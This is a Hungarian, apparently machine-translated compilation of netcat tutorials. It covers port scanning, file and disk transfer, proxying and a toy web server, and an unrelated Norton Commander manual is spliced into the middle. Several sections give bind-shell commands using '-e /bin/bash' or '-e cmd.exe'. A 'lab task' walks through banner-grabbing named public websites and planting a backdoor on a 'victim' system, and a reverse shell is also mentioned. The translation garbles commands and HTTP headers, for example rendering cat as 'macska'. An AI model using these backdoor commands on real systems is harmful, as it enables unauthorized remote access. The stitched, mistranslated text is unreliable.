Netcat leírása. Netcat - használati példák
A Linux rendszer arról ismert, hogy a legtöbb disztribúció hatalmas számú hasznos parancssori segédprogramot szállít közvetlenül az operációs rendszerhez. A tapasztalt rendszergazdák a legtöbb feladatot a beépített eszközök segítségével hajthatják végre anélkül, hogy további szoftvereket kellene telepíteni.
Ez az útmutató a segédprogram működésére vonatkozik . Ez a hálózati eszközök „svájci kése” hasznos lehet a megfigyeléshez, teszteléshez és a hálózati kapcsolatokon keresztüli adatátvitelhez.
Ez az útmutató az Ubuntu 12.04-et használja, de általában a netcat segédprogram szinte minden modern disztribúción elérhető. Az Ubuntu a segédprogram BSD-verziójával érkezik, amelyet ebben a cikkben fogunk használni. Más verziók eltérően működhetnek, vagy eltérő lehetőségeket kínálnak.
Általános szintaxis
Alapértelmezés szerint a netcat úgy működik, hogy TCP-kapcsolatot kezdeményez a távoli gazdagéppel.
Alapszintaxis:
netcat [opciók] gazdagép port
Ez a parancs TCP-kapcsolatot kezdeményez a megadott porton lévő megadott gazdagéppel. Alapvetően a régi Linux parancshoz, a telnethez hasonlóan működik. Kérjük, vegye figyelembe, hogy a kapcsolat titkosítás nélküli lesz.
Ha TCP-kapcsolat létrehozása helyett UDP-csomagot szeretne küldeni, használja a -u kapcsolót:
netcat -u gazdagép port
Porttartomány megadásához adja meg a tartomány első és utolsó portját kötőjellel elválasztva:
netcat gazdagép első_port-utolsó_port
Ezt a parancsot általában további jelzőkhöz használják.
A legtöbb rendszeren használhatja a netcat vagy az nc parancsot. Felcserélhetők, mert ugyanazon parancs álnevei.
Használatport szkenneléshez
Leggyakrabban a netcat portszkennerként használják.
Bár a Netcat valószínűleg nem a legokosabb eszköz erre a feladatra (az nmap erre a legtöbb esetben alkalmasabb), egyszerű portellenőrzést végez a nyitott portok gyors azonosítására.
Ehhez adja meg a vizsgálandó portok tartományát (a fent látható módon), és használja a -z kapcsolót is, amely a kapcsolatok létrehozása helyett a keresést végzi.
Például az összes port vizsgálatához az 1000-es portig futtassa:
netcat -z -v domain.com 1-1000
Mint látható, ez a parancs a -z kapcsoló mellett a -v kapcsolót is használja, aminek köszönhetően a netcat részletesebb információkat jelenít meg.
Az eredmény így néz ki:
nc: csatlakozás a domain.com 1. portjához (tcp) sikertelen: A kapcsolat megtagadva
nc: csatlakozás a domain.com 2. portjához (tcp) sikertelen: A kapcsolat megtagadva
nc: csatlakozás a domain.com 3-as portjához (tcp) sikertelen: A kapcsolat megtagadva
nc: csatlakozás a domain.com 4-es portjához (tcp) sikertelen: A kapcsolat megtagadva
nc: csatlakozás a domain.com 5-ös portjához (tcp) sikertelen: A kapcsolat megtagadva
nc: csatlakozás a domain.com 6-os portjához (tcp) sikertelen: A kapcsolat megtagadva
nc: csatlakozás a domain.com 7-es portjához (tcp) sikertelen: A kapcsolat megtagadva
. . .
Sikerült a csatlakozás a domain.com 22-es portjához!
. . .
Amint látható, ez a parancs meglehetősen részletes eredményt ad, és azt is megmondja, hogy minden egyes port vizsgálat sikeres volt-e vagy sem.
Ez kényelmes domain név használatakor.
A szükséges IP-címek megadásával azonban jelentősen felgyorsíthatja a keresést. Ezután az -n kapcsolóval jelezheti, hogy az IP-címet nem szabad DNS segítségével feloldani:
netcat -z -n -v 111.111.111.111 1-1000
A visszatérési üzeneteket a rendszer normál hibára küldi. Szabványos hibaüzenetek küldhetők a szabványos kimenetre az eredmények szűrésére.
A szabványos hiba szabványos kimenetre való átirányításához használja a bash 2-es szintaxist> az eredményt a grep segítségével szűrjük:
netcat -z -n -v 111.111.111.111 1-1000 2>&1 | grep sikerült
Sikerült a csatlakozás a 111.111.111.111 22 porthoz!
Tehát most már láthatja, hogy a távoli gép egyetlen nyitott portja az 1-1000 tartományban a 22-es, a szabványos SSH-port.
Kommunikációnetcat segítségével
A netcat parancs nem korlátozódik TCP- és UDP-csomagok küldésére. Ezenkívül képes figyelni egy porton a kapcsolatokat és a csomagokat, lehetővé téve két netcat példány összekapcsolását kliens-szerver kapcsolatban.
Az, hogy melyik számítógép a szerver és melyik a kliens, csak a kezdeti beállítás során fontos. A kapcsolat létrejötte után a kommunikáció mindkét irányban ugyanaz.
Egy gépen meg kell mondanunk a netcat-nak, hogy figyeljen egy adott porton a kapcsolatokra. Ez a -l paraméterrel, majd a portszámmal történik:
A parancs futtatásával a netcat a 4444-es porton figyeli a TCP-kapcsolatokat. Mostantól egy normál felhasználó (nem root) nem fog tudni megnyitni egyetlen portot sem 1000 előtt (a kiszolgáló biztonsága érdekében).
A második szerveren csatlakoznia kell az első géphez a megadott porton keresztül. Ez a korábban bemutatott módon történik:
netcat domain.com 4444
A kapcsolat létrejötte után úgy tűnhet, hogy semmi sem történt. De most már a kapcsolat mindkét oldalán küldhet üzeneteket, és ezek mindkét szerveren láthatóak lesznek.
Írja be az üzenetet, és nyomja meg az ENTER billentyűt. Az üzenet a helyi és a távoli szerveren is megjelenik. Ez fordítva is működik.
Ha befejezte az üzenetek küldését, nyomja meg a CTRL-D billentyűket a TCP-kapcsolat bezárásához.
Fájlok megosztása a netcat segítségével
A segédprogram alapvető funkcióinak megismerése és az előző példák befejezése után áttérhet az összetettebb feladatokra.
Mint már említettük, a netcat segédprogram TCP-kapcsolatokat hoz létre, amelyek segítségével szinte bármilyen információ átvitelére alkalmas, nem korlátozódik a felhasználó által begépelt üzenetekre. Ez a tudás felhasználható a netcat fájlátviteli programmá alakítására.
Ismét ki kell választania egy gépet a kapcsolatok figyeléséhez. Azonban ahelyett, hogy az információkat a képernyőre nyomtatná (mint az előző példában), a netcat az összes információt közvetlenül egy fájlba helyezi:
netcat -l 4444 > kapott_fájl
A második számítógépen létre kell hoznia egy egyszerű szöveges fájlt:
echo "Helló, ez egy fájl" > eredeti_fájl
Most már használhatja ezt a fájlt bemenetként, hogy kapcsolatot hozzon létre a hallgató számítógéppel. A fájl átvitele ugyanúgy történik, mintha interaktív módon írták volna be:
netcat domain.com 4444< original_file
Amint láthatja, a csatlakozásra váró számítógépen most van egy új "received_file" nevű fájl, amely a másik számítógépen bevitt adatokat tartalmazza:
macska kapott_fájl
Hello, ez egy fájl
Mint látható, az ilyen kapcsolatok könnyen használhatók bármilyen információ továbbítására.
Például átviheti egy teljes könyvtár tartalmát; Ehhez hozzon létre egy névtelen tarballt, vigye át a távoli rendszerre, és csomagolja ki a távoli könyvtárba.
A fogadó oldalon a következő paranccsal figyelmeztetheti, hogy a fájlt fogadni és ki kell csomagolni:
netcat -l 4444 | tar xzvf -
A parancs végén lévő kötőjel azt jelenti, hogy a tarball szabványos bemeneten fog működni, amely jelenleg a hálózaton keresztül kerül elküldésre, ha létrejön a kapcsolat.
Az átvinni kívánt könyvtárat tartalmazó oldalon csomagolja az adott könyvtárat egy archívumba, majd a netcat segítségével küldje el a távoli gépre:
tar -czf - * | netcat domain.com 4444
Ezúttal a tar parancsban a kötőjel azt jelenti, hogy az aktuális könyvtár tartalmát (ahogyan a * szimbólum jelzi) tömöríteni kell és át kell vinni, majd az eredményt a szabványos kimenetre kell írni.
Ezt a rendszer a TCP-kapcsolatra írja, továbbítja a kapcsolat másik oldalára, és kicsomagolja a távoli számítógép aktuális könyvtárába.
Ez csak egy példa a bonyolultabb adatok egyik számítógépről a másikra való átvitelére. Szintén gyakran használják a dd parancsot, amely létrehoz egy lemezképet az egyik oldalon, és átviszi a távoli számítógépre. Ez a megközelítés azonban nem szerepel ebben az útmutatóban.
mint egy egyszerű webszerver
A netcat segédprogramot már használták üzenetek és fájlok átvitelére. Ugyanez a megközelítés segít a netcat egyszerű webszerverként való használatában. Ez hasznos lehet a kész oldalak teszteléséhez.
Először létre kell hoznia egy HTML-fájlt egy szerveren:
A következő egyszerű kód helyezhető el ebbe a fájlba:
1. szintű fejléc
Alcím
Normál szöveg itt
Mentse és zárja be a fájlt.
Ezt a fájlt nem lehet kiszolgálni az alapértelmezett webszerver porton (80) root jogosultságok nélkül. Mert normál felhasználóként állítsa be a 8888-as portot.
Egy oldal teszteléséhez és annak megtekintéséhez, hogyan jelenik meg, írjon be valami ilyesmit:
netcat -l 8888< index.html
A tartalom mostantól böngészőben is megtekinthető a következő címen:
http://szerver_IP:8888
Ez a parancs kinyomtatja az oldalt, majd a netcat kapcsolat megszakad. Amikor megpróbálja frissíteni az oldalt, az eltűnik.
A Netcat korlátlan ideig szolgálhatja az oldalt; Ehhez az utolsó parancsot ciklikussá kell tennie a következő sor használatával:
míg igaz; do nc -l 8888< index.html; done
Ezután az oldal továbbra is fogadja a kapcsolatokat az első kapcsolat megszakítása után.
A ciklus leállításához írja be a CTRL-C billentyűkombinációt.
Ez a szerver lehetővé teszi, hogy megtekintse, hogyan jelenik meg az oldal a böngészőben, de nem nyújt szélesebb körű funkcionalitást. Soha ne használjon ilyen webszervert valódi webhelyek kiszolgálására: nem biztonságos, és az olyan egyszerű dolgok, mint a hivatkozások, nem mindig működnek megfelelően.
Eredmények
Ez az oktatóanyag bemutatja a netcat alapvető funkcióit és használatát. Mivel ez az eszköz sokoldalú, használható problémák diagnosztizálására és a TCP/UDP kapcsolatok alapvető funkcióinak tesztelésére.
Ezenkívül a netcat lehetővé teszi a különböző számítógépek közötti kommunikációt és információcserét, ami nagyon fontos a gyors felhasználói interakcióhoz. A kapcsolat létrehozásának egyszerűsítésével a netcat segédprogram igyekszik kényelmesebbé, gyorsabbá és érthetőbbé tenni a számítógépek közötti hálózati interakciókat.
Címkék: ,Teszt HTML oldal megjelenítése egy kliensnek normál böngészővel egyetlen paranccsal (8080-as port):
(echo -e "HTTP/1.1 200 OK\nContent-Type: text/html\n\n Hello World";) | nc -vv -l -p 8080
Fájl átvitele egy kliensre normál böngészővel egyetlen paranccsal (8080-as port):
(echo -e "HTTP/1.1 200\nTartalom-elhelyezés: melléklet; fájlnév=cél-név-that-client-will-see\nTartalom típusa: application/octet-stream\nKapcsolat: bezárás\n"; cat fájlnév- lemezen) | nc -vv -l -p 8080
Hogyan kell használni az nc-t?
(http://handynotes.ru/2010/01/unix-utility-netcat.html )
Kezdjük néhány egyszerű példával, majd használjuk őket alapvető példaként.
Ha emlékszel, mondtam, hogy a netcat egy svájci kés. Mi lenne ez a kés, ha nem lehetne úgy használni, mint egy hagyományos kést? Ez az oka annak, hogy a netcat használható a normál telnet helyett:
$nc www.google.com 80
Valójában kényelmesebb, mint a normál telnet, mert a kapcsolatot bármikor megszakíthatja a Ctrl+C lenyomásával, és a bináris adatokat normál módon kezeli (nincs escape szekvencia, semmi).Hozzáadhatja a -v kapcsolót a műveletek eredményeinek részletesebb megjelenítéséhez, és a (-vv) opciót, hogy statisztikákat kapjon arról, hogy hány bájt került átvitelre az aktuális kapcsolati munkamenet során.
A Netcat szerverként használható. Ha az alábbiak szerint futtatja, akkor az 12345-ös porton fog figyelni (minden interfészen):
$ nc -l -p 12345
Ha most csatlakozik ennek a gazdagépnek a 12345-ös portjához, akkor minden, amit beír, a távoli oldalra kerül, ami azt jelzi, hogy a netcat használható chatszerverként. Futtassa az egyik számítógépen:# 10.10.10.10 IP-című A számítógépen
$ nc -l -p 12345
És csatlakozzon hozzá egy másikból:
# B számítógépen
$nc 10.10.10.10 12345
Most mindkét fél beszélhet!
Ez a beszédmód, ahol mindkét fél beszélhet egymással, lehetővé teszi az nc használatát a hálózaton keresztüli I/O műveletekhez! Például egy teljes könyvtárat küldhet egyik számítógépről a másikra úgy, hogy az első számítógépen egy tar-folyamatot futtat az nc-n keresztül, és a kimenetet átirányítja egy másik tar folyamatra a másodikon.
Tegyük fel, hogy az A számítógép /data könyvtárából szeretne fájlokat küldeni 192.168.1.10 IP-címmel a B számítógépre (bármilyen IP-címmel). Ez egyszerű:
$tar -cf - /data | nc -l -p 6666
# B számítógépen
$nc 192.168.1.10 6666 | tar -xf -
Ne felejtse el kombinálni a csővezetéket a Pipe Viewer programmal, amelyet az előző cikkben ismertettünk, hogy megnézze, milyen gyorsan megy végbe az átvitel!
Egyetlen fájl egyszerűbben is elküldhető:
# 192.168.1.10 IP-című A számítógépen
$ macska fájl | nc -l -p 6666
# B számítógépen
$nc 192.168.1.10 6666 > fájl
Akár egy teljes lemezt is másolhat és visszaállíthat az nc használatával:
# 192.168.1.10 IP-című A számítógépen
$ cat /dev/hdb | nc -l -p 6666
# B számítógépen
$ nc 192.168.1.10 6666 > /dev/hdb
Megjegyzés: A „-l” opció nem használható a „-p”-vel együtt Mac számítógépeken! A megoldás az, hogy egyszerűen lecseréljük a „-l -p 6666? a „-l 6666?. Mint itt:
# most az nc a 6666-os porton figyel Mac számítógépeken
$nc -l 6666
A netcat gyakori használata a portszkennelés. A Netcat nem a legjobb eszköz az ilyen jellegű munkákhoz, de elvégzi a munkát (a legjobb természetesen az nmap):
$ nc -v -n -z -w 1 192.168.1.2 1-1000
(UNKNOWN) 445 (microsoft-ds) nyitva
(ISMERETLEN) 139 (netbios-ssn) nyitva
(ISMERETLEN) 111 (sunrpc) nyitva
(ISMERETLEN) 80 (www) nyitva
(UNKNOWN) 25 (smtp) : A kapcsolat időtúllépése
(ISMERETLEN) 22 (ssh) nyitva
Az -n kapcsoló megakadályozza a DNS-kereséseket, a -z nem vár választ a szervertől, és a -w 1? a kapcsolat időtúllépését 1 másodpercre állítja.
A netcat egy másik nem triviális használata proxyként. A port és a gazdagép is továbbítható. Nézd meg ezt a példát:
$ nc -l -p 12345 | nc www.google.com 80
Ez a parancs az nc-t a 1234-es porton futtatja, és minden kapcsolatot átirányít a google.com:80 címre. Ha most csatlakozik ehhez a számítógéphez az 12345-ös porton, és kérést küld, azt fogja tapasztalni, hogy nem kap válaszként semmilyen adatot. Ez helyes, mert nem hoztunk létre kétirányú csatornát. Ha hozzáad egy második csatornát, az adatait egy másik porton kapja meg:
$ nc -l -p 12345 | nc www.google.com 80 | nc -l -p 12346
Miután elküldte a kérést az 12345-ös portra, kapja meg válaszadatait az 12346-os porton.
A netcat talán legerősebb funkciója, hogy bármilyen folyamatot kiszolgálóként futtat:
$ nc -l -p 12345 -e /bin/bash
Az -e kapcsoló hatására a bemenet és a kimenet átirányításra kerül a hálózati aljzaton keresztül. Most, ha az 12345-ös porton csatlakozik a gazdagéphez, használhatja a bash-t:
$nc localhost 12345
ls-las
összesen 4288
4 drwxr-xr-x 15 pkrumins felhasználó 4096 2009-02-17 07:47 .
4 drwxr-xr-x 4 pkrumins felhasználó 4096 2009-01-18 21:22 ..
8 -rw——- 1 pkrumins felhasználó 8192 2009-02-16 19:30 .bash_history
4 -rw-r—r— 1 pkrumins felhasználó 220 2009-01-18 21:04 .bash_logout
(http://execbit.ru/2011/05/23/netcat/)
1 Fájlok átvitele (az első parancsot a fogadó gépen hajtjuk végre, a másodikat a küldő gépen:
$ nc -l 31334 > fájlnév $ nc 172.16.69.143 31334< filename
$ nc -f /var/log/messages | nc -l 31334 $ nc 172.16.69.143 31334
3 Használja a telnet helyett (az első a telnet szerver, a második a kliens):
$ nc -l -p 31334 -e /bin/sh $ nc 172.16.69.143 31334
4 Szkennelés nyitott portokra:
$ nc -z execbit.ru 1-1024
5 banneren alapuló ujjlenyomat-szolgáltatás:
$ echo "QUIT" | nc execbit.ru 1-1024
6. Szervezzen meg egy fordított shellt (az első a kliens, a második a szerver, de a shell megnyílik a szerverről a kliensre).
Útmutató a munkáhozNortonParancsnok
Az NC rendszer elindításához írja be az NC parancsot a DOS parancssorba, vagy kattintson a bal egérgombbal az NC ikonra a számítógép asztalán. Az NC-vel végzett munka befejezéséhez nyomja meg a gombot [ F10] . A megjelenő párbeszédpanelen válassza az „Igen” választ, ha kijelentkezik a rendszerből, ha nem, a „Nem” választ. A válaszopció kiválasztása a funkcionális billentyűzet kurzorbillentyűivel, majd a gomb megnyomásával történik [ Belép] . A képernyő alján található a DOS parancssor, ahová NC vezérléssel végzett munka közben adhatjuk meg a megfelelő parancsokat. A képernyő legalsó sora egy tippsort tartalmaz, amely jelzi az NC (és DOS) parancsoknak megfelelő fő „hot” billentyűk célját.
Az NC elindítása után két panel jelenik meg a képernyőn - bal és jobb. Az egyes panelek tetején egy kis téglalap alakú ablak mutatja az aktuális fájl vagy könyvtár teljes elérési útját. Azt a panelt, amelyben a kiemelt téglalap, a kurzor található, aktívnak nevezzük. Ha panelről panelre szeretne lépni, használja a gombot . Ha a panel felső sora és a kép ki van jelölve “…” ez azt jelenti, hogy a panel tetején látható névvel rendelkező könyvtárban van. A következő parancsok használhatók a panelekkel való munkához:
[ Ctrl] + [ F1] A bal oldali panel elrejtése/megjelenítése
[ Ctrl] + [ F2] Jobb oldali panel elrejtése/megjelenítése
[ Ctrl] + [ U] Cserélje ki a paneleket
[ Ctrl] + [ O] Mindkét panel elrejtése/megjelenítése
[ Ctrl] + [ P]Inaktív panel elrejtése/megjelenítése
A logikai lemez nevének megváltoztatásához kattintson a bal oldali panelre [ Alt] + [ F1] , a megjelenő párbeszédablakban a kurzorbillentyűkkel válassza ki a kívánt lemeznevet a javasolt nevek közül, nyomja meg a gombot [ Belép] . A jobb oldali panelen a műveletek hasonlóak, de az elején kattintson [ Alt] + [ F2] .
A könyvtár megnyitásához válassza ki azt az aktív panelen, és nyomja meg a gombot [ Belép] . Ha az aktív panel magasabb szintű könyvtárába szeretne lépni, válassza ki a sort “…” és nyomja meg a gombot [ Belép] .
A következő parancsok használhatók a könyvtárakkal való munkához:
[ F7] – hozzon létre egy könyvtárat. A megjelenő párbeszédpanelen adjon meg egy új könyvtárnevet;
[ F8] – könyvtár törlése. A megjelenő párbeszédpanelen erősítse meg a törlést, vagy vonja vissza a törlést az Esc billentyű lenyomásával.
A következő parancsok használhatók a fájlok kezelésére:
[ Váltás] + [ F4] – hozzon létre egy fájlt. A megjelenő párbeszédpanelen írjon be egy új fájlnevet (ne felejtse el megadni a kiterjesztést). A fájlnév megadása után írja be a fájl tartalmát a képernyő munkaterületére. A fájl létrehozásának befejezése paranccsal [ Ctrl] + [ Z]. A fájl mentéséhez nyomja meg a gombot [ F2] . Lépjen ki a szerkesztési módból a gombbal [ F10 ] .
[ F4] – korábban létrehozott dokumentum szerkesztése. Ebben az esetben a párbeszédablakban meg kell adni a szerkeszteni kívánt fájl nevét. Ha szerkesztési módban dolgozik, a képernyő alján egy tippsor jelenik meg a gyorsbillentyűk hozzárendelésével szerkesztő módban.
[ Váltás] + [ F2] – a fájl mentése új néven.
[ F3] – a fájl tartalmának megtekintése. Ehhez először válassza ki a fájlt a panelen.
[ F5] – fájlmásolás. A fájlokkal és könyvtárakkal végzett összes művelet mindkét panelen keresztül történik. Fájl másolásához egy inaktív panelen állítsa be azt a könyvtárat, ahová a másolt fájl kerüljön, menjen ebbe a könyvtárba. Az aktív panelen válassza ki a másolni kívánt fájlt, és nyomja meg a gombot [ F5] . A másolás megerősítéséhez nyomja meg a gombot [ Belép] , lemond - .
[ F6] – fájl átvitele/átnevezése. A művelet hasonló a másoláshoz. Fájl áthelyezéséhez egy inaktív panelen állítsa be azt a könyvtárat, ahová a fájl kerüljön, és lépjen ebbe a könyvtárba. Az aktív panelen válassza ki az áthelyezni kívánt fájlt, és nyomja meg a gombot [ F6] . Fájl átnevezéséhez adjon meg egy új fájlnevet a párbeszédpanelen az ikonon keresztüli hozzáadással ” \ ” az út megjelölésében. Emlékeztetni kell arra, hogy az áthelyezett fájl törlődik az eredeti helyéről.
[ F9] – lépjen a menübeNC.
Csoportos műveletek a fájlokon
A másolási, áthelyezési és törlési műveletek egyszerre több fájlon is végrehajthatók. Ehhez meg kell jelölnie őket a panelen való kiemeléssel és a gomb megnyomásával [ Beszúrás] . Ebben az esetben a kiválasztott fájlok kontrasztos színű téglalapokkal vannak kiemelve. A kijelölés eltávolításához ismételje meg ezeket a lépéseket. A fájlkiválasztás után a kívánt művelet (másolás, áthelyezés, törlés) megtörténik a fájlcsoporton, mintha az egy lenne. A fájl kiválasztásának második módja a nagy szürke gomb megnyomása ”+” a bal oldali funkcióbillentyűzeten. A gomb megnyomása után adja meg a fájlnevet a párbeszédpanelen, vagy adja meg a fájlneveket, ha maszkot használ a névben: “ * ”, “ *.* ”, “ ? ”. A fájlok kijelölésének megszüntetéséhez használja a bal oldali funkcionális billentyűzet „-” billentyűjét.
Rendszer menü NC
A menürendszer a héj testreszabására és a műveletek egyszerűsítésére szolgál. A menüsor egy gomb megnyomásával hívható elő [ F9] . A menürendszer menüsorból és legördülő menükből áll. A menü a következő elemeket tartalmazza: Jobb oldali fájlok Parancsok beállításai Balra . Csapatok Jobb És Bal határozza meg a panelen a fájlmegjelenítési mód kiválasztását. A bal és jobb oldali panel összes parancslehetősége azonos. Csapat Fájlok úgy tervezték, hogy műveleteket hajtson végre fájlokon és könyvtárakon. Menü tétel Csapatok további parancsok végrehajtására szolgál. Csapat Beállítások az NC környezet beállítására szolgál. A megfelelő parancs kiválasztása a kurzorbillentyűkkel, majd a gomb megnyomásával történik [ Belép].
Menü tétel Bal jobb).
Ennek a parancsnak a legördülő menüje olyan lehetőségeket tartalmaz, amelyek segítségével kiválaszthatja a fájl képernyőn való megjelenítésének formátumát. módban Rövid A panel csak a fájl- és könyvtárneveket jeleníti meg. módban Teljes Megjelenik a fájl vagy könyvtár neve, fájlnál a mérete, könyvtárnál az „alkönyvtár” karakterlánc, a fájl és a könyvtár létrehozásának dátuma és időpontja. módban Fa Megjelenítheti az aktuális lemez könyvtárfáját, és a kurzor segítségével gyorsan megtalálhatja a kívánt fájlt a fán való mozgással. A menüelem következő opciócsoportja határozza meg a fájlok megjelenítési sorrendjét a panelen. Ebben az esetben a fájlok tetszőleges sorrendbe rendezhetők - módban Nincs válogatás , de meghatározott sorrendbe rendezhető: Név - név szerint ábécé sorrendben, Kiterjesztés – kiterjesztve ábécé sorrendben, Idő – a létrehozás dátuma szerint, a legfrissebb létrehozási dátumú fájlokkal a lista elején, Méret – fájlméret szerint, csökkenő sorrendben. A megfelelő mód vonalának kiválasztása a kurzorral történik, és a jelölőnégyzet a szóköz használatával történik.
Menü tétel Fájlok .
A parancs legördülő menüje tartalmazza a gyorsbillentyűk céljának leírását [ F1] - [ F8] , azaz A gyorsbillentyűk műveleteit a menüparancsok duplikálják. A következő lehetőség az Attribútumok beállítása. Az attribútumok csak a fájlokhoz vannak beállítva. Az attribútumok beállításának sorrendje a következő: válasszon ki egy fájlt a kurzorral a panelen. Ezt követően nyomja meg a gombot [ F9] lépjen az NC menübe, és válassza ki az elemet Fájlok Telepítés attribútumok . A gomb megnyomása után [ Belép] A párbeszédpanelen megjelenik a lehetséges attribútumok listája: Csak olvasható, Archív, Rejtett, Rendszer. A fájl attribútumsorának kijelölése a kurzorral történik, és a szóköz billentyűvel jelölje be a négyzetet. Ebben az esetben az attribútumokkal rendelkező fájl Csak olvasásra nem módosítható, csak megtekinthető. Attribútumok fájl Rejtett a panelen egy kis kiemelt téglalappal van jelölve (ha az opció nincs beállítva a képernyő beállításaiban Mutasd a rejtett fájlokat A fájlnév egyáltalán nem jelenik meg a panelen). A következő parancscsoport lehetővé teszi a fájlok kiválasztását (hasonlóan a nagy szürke billentyűhöz ”+” ), törölje a kijelölést (a billentyűhöz hasonlóan ” - ” a funkcióbillentyűzeten), fordítsa meg a kijelölést (hasonlóan a ” * ” a funkcióbillentyűzeten).
Menü tétel Csapatok .
Ennek a parancsnak a legördülő menüje lehetővé teszi felhasználói menü létrehozását, szerkesztését, a DOS parancssorba bevitt parancsok előzményeinek megtekintését, és az NC shell egyéb további funkcióit is tartalmazza.
Menü tétel Beállítások.
A parancs legördülő menüje lehetővé teszi az interfész környezet felhasználóbarát konfigurálását. Opciót tartalmaz Beállítások Szerkesztőés mások. Amikor kiválasztja a Beállítások menüsort, megnyílik egy sor párbeszédpanel, amely lehetővé teszi a képernyő színkészletének kiválasztását, a képernyőn látható sorok számának beállítását stb. Párbeszéd ablak Panelbeállítások lehetővé tesz Mutasd a rejtett fájlokat, ha a megfelelő jelölőnégyzet be van jelölve (vagy nem jelenik meg). A megfelelő jelölőnégyzetek bejelölése szintén a kurzor és a szóköz használatával történik.
Laboratóriumi feladat
·nc -h
Amint láthatja, a Netcat alapvető szintaxisa a következő.
Csatlakozás másik géphez:
nc options host IP-cím port
a bejövő kapcsolatok figyeléséhez:
nc -l -p port
2. lépés: A Netcat segítségével csatlakozzon a távoli rendszerhez
Használjuk a Netcatet egy távoli rendszerhez való csatlakozáshoz. Esetünkben a 80-as porton keresztül próbálunk meg csatlakozni a webszerverhez. Írja be:
·nc 192.168.1.105 80
3. lépés: A Netcat segítségével rögzítse az OS ujjlenyomat-szalaghirdetését
Miután létrejött a TCP kapcsolat a webhellyel, a Netcat segítségével rögzíthetjük a webszerver szalaghirdetését, hogy azonosítsuk, milyen szoftver fut az áldozat webszerverén.
Ne feledje, hogy mielőtt bármilyen rendszert megtámadnánk, a lehető legtöbbet meg kell tudnunk az áldozatról. A Netcat a webszerverek által az új kapcsolatokhoz kiszolgált bannerek rögzítésével segíthet nekünk ebben a feladatban.
Most, hogy megvan a kapcsolat, megragadhatjuk a bannert a webszerverről a következő paranccsal:
HEAD / HTTP/1.0
Legyen óvatos, és pontosan úgy másolja, ahogyan a szerző beírta, perjelekkel és szóközökkel.
Nyomja meg többször az Enter billentyűt, és a webszerver a szalagcímével válaszol, és közli, hogy milyen szoftver fut rajta. Esetünkben azt láthatjuk, hogy a webszerveren Microsoft IIS 6.0 fut.
Ezt a technikát más nyilvánosan elérhető webhelyeken is alkalmazhatjuk. Próbáljunk ki néhány jól ismert webhelyet, és nézzük meg, milyen szoftvereket használnak a webszerverükön. Először próbáljuk meg a wonderhowto.com webhelyet. Amikor pingeljük a wonderhowto.com webhelyet, azt látjuk, hogy az IP-cím 98.129.110.26. Tehát akkor beírhatja:
·nc 98.129.110.26 80
Miután létrejött a kapcsolat, megragadhatjuk a webes szalaghirdetést, ha ismét begépeljük:
HEAD / HTTP/1.0
Ezután nyomja meg kétszer vagy háromszor az Enter billentyűt.
Mint látható, a wonderhowto.com Microsoft-IIS/7.5 rendszeren fut.
Ha megpróbáljuk ugyanezt a cnn.com webhelyen, az alábbi eredményeket kapjuk:
Érdekes módon a cnn.com az nginx-en, egy nyílt forráskódú webszerveren fut, amely nagyon rövid időn belül elérte a Microsoft IIS telepítéseinek globális számát (az Apache-ot továbbra is a bolygó webszervereinek több mint 60%-a használja) .
4. lépés: A Netcat segítségével figyelje a kapcsolatokat
Most a netcat segítségével hozzunk létre egy figyelőt a távoli rendszeren. Tegyük fel, hogy van egy Windows Serverünk, amelyre telepítettük a netcat programot. Most beírhatjuk a következőt egy netcat figyelő megnyitásához a 6996-os porton (ez bármelyik port lehet) ezen a rendszeren:
·nc - l -p 6996
Így jött létre egy „hallgató”, amely kapcsolódni tud a szabadidőnkhöz. Vegye figyelembe, hogy Windows rendszereken ugyanezt a parancsot nagy L betűvel is futtathatjuk, és ez egy állandó figyelőt hoz létre, amely akkor is megnyílik, ha a rendszer újraindul.
5. lépés: Hozzon létre egy hátsó ajtót
Most hozzunk létre egy hátsó ajtót a fertőzött rendszeren, hogy bármikor visszatérhessünk. A parancs kissé eltér attól függően, hogy melyik rendszert, Linuxot vagy Windowst támadjuk.
Windows esetén a következőket használjuk:
·nc -l -p 6996 -e cmd.exe
Linux esetén a következőket használjuk:
·nc -l -p 6996 -e /bin/bash
·nc 192.168.1.105 6996
Amint láthatja, a Windows parancssor a netcat kapcsolaton keresztül közvetlenül a támadó rendszerünkhöz került! Megvan ez a doboz!
nc [-46bCDdhklnrStUuvZz] [-I hossz] [-i intervallum] [-O hossz] [-P proxy_username] [-p forrás_port] [-q másodpercig] [-s forrás] [-T kulcsszóra] [-V rtable] [-w időtúllépés] [-X proxy_protocol] [-x proxy_address[:kikötő]] [rendeltetési hely] [kikötő]Lehetőségek
-4 | Erők nc hogy csak IPv4-címeket használjon. |
-6 | Erők nc hogy csak IPv6-címeket használjon. |
-b | Közvetítés engedélyezése. |
-C | Küldés sorvégként. |
-D | Hibakeresés engedélyezése a socketen. |
-d | Ne próbáljon stdin-ből olvasni. |
-h | Kinyomtatja az nc helpet. |
-ÉN hossz | Meghatározza a TCP fogadási puffer méretét. |
-én intervallum | A küldött és fogadott szövegsorok közötti késleltetési időintervallumot határozza meg. Ezenkívül késleltetést okoz a több porthoz történő csatlakozások között. |
-k | Erők nc hogy továbbra is figyeljen egy másik kapcsolatot, miután az aktuális kapcsolat létrejött. Hiba ennek az opciónak a használata nélkül -l választási lehetőség. |
-l | Ennek meghatározására szolgál nc inkább figyeljen a bejövő kapcsolatra, mintsem kapcsolatot kezdeményezzen egy távoli gazdagéppel. Hiba ezt az opciót a következővel együtt használni -o, -s, vagy -z lehetőségek. Ezenkívül a -w opciót figyelmen kívül hagyják. |
-n | Ne végezzen DNS- vagy szolgáltatáskeresést meghatározott címeken, gazdagépneveken vagy portokon. |
-O hossz | Meghatározza a TCP küldési puffer méretét. |
-P proxy_username | Megadja a hitelesítést igénylő proxykiszolgálónak megjelenítendő felhasználónevet. Ha nincs megadva felhasználónév, akkor a hitelesítés nem történik meg. A proxy hitelesítés jelenleg csak a HTTP CONNECT proxy esetén támogatott. |
-o forrás_port | Megadja, hogy az nc-nek milyen forrásportot kell használnia, a jogosultsági korlátozásoktól és a rendelkezésre állástól függően. |
-q másodpercig | az stdin EOF után várjon a megadott számú másodpercet, majd lépjen ki. Ha a másodperc negatív, várjon örökké. |
-r | Meghatározza, hogy a forrás- vagy célportokat véletlenszerűen kell kiválasztani, nem pedig egy tartományon belül egymás után, vagy abban a sorrendben, ahogyan a rendszer hozzárendeli őket. |
-S | Engedélyezi az RFC 2385 TCP MD5 aláírási lehetőséget. |
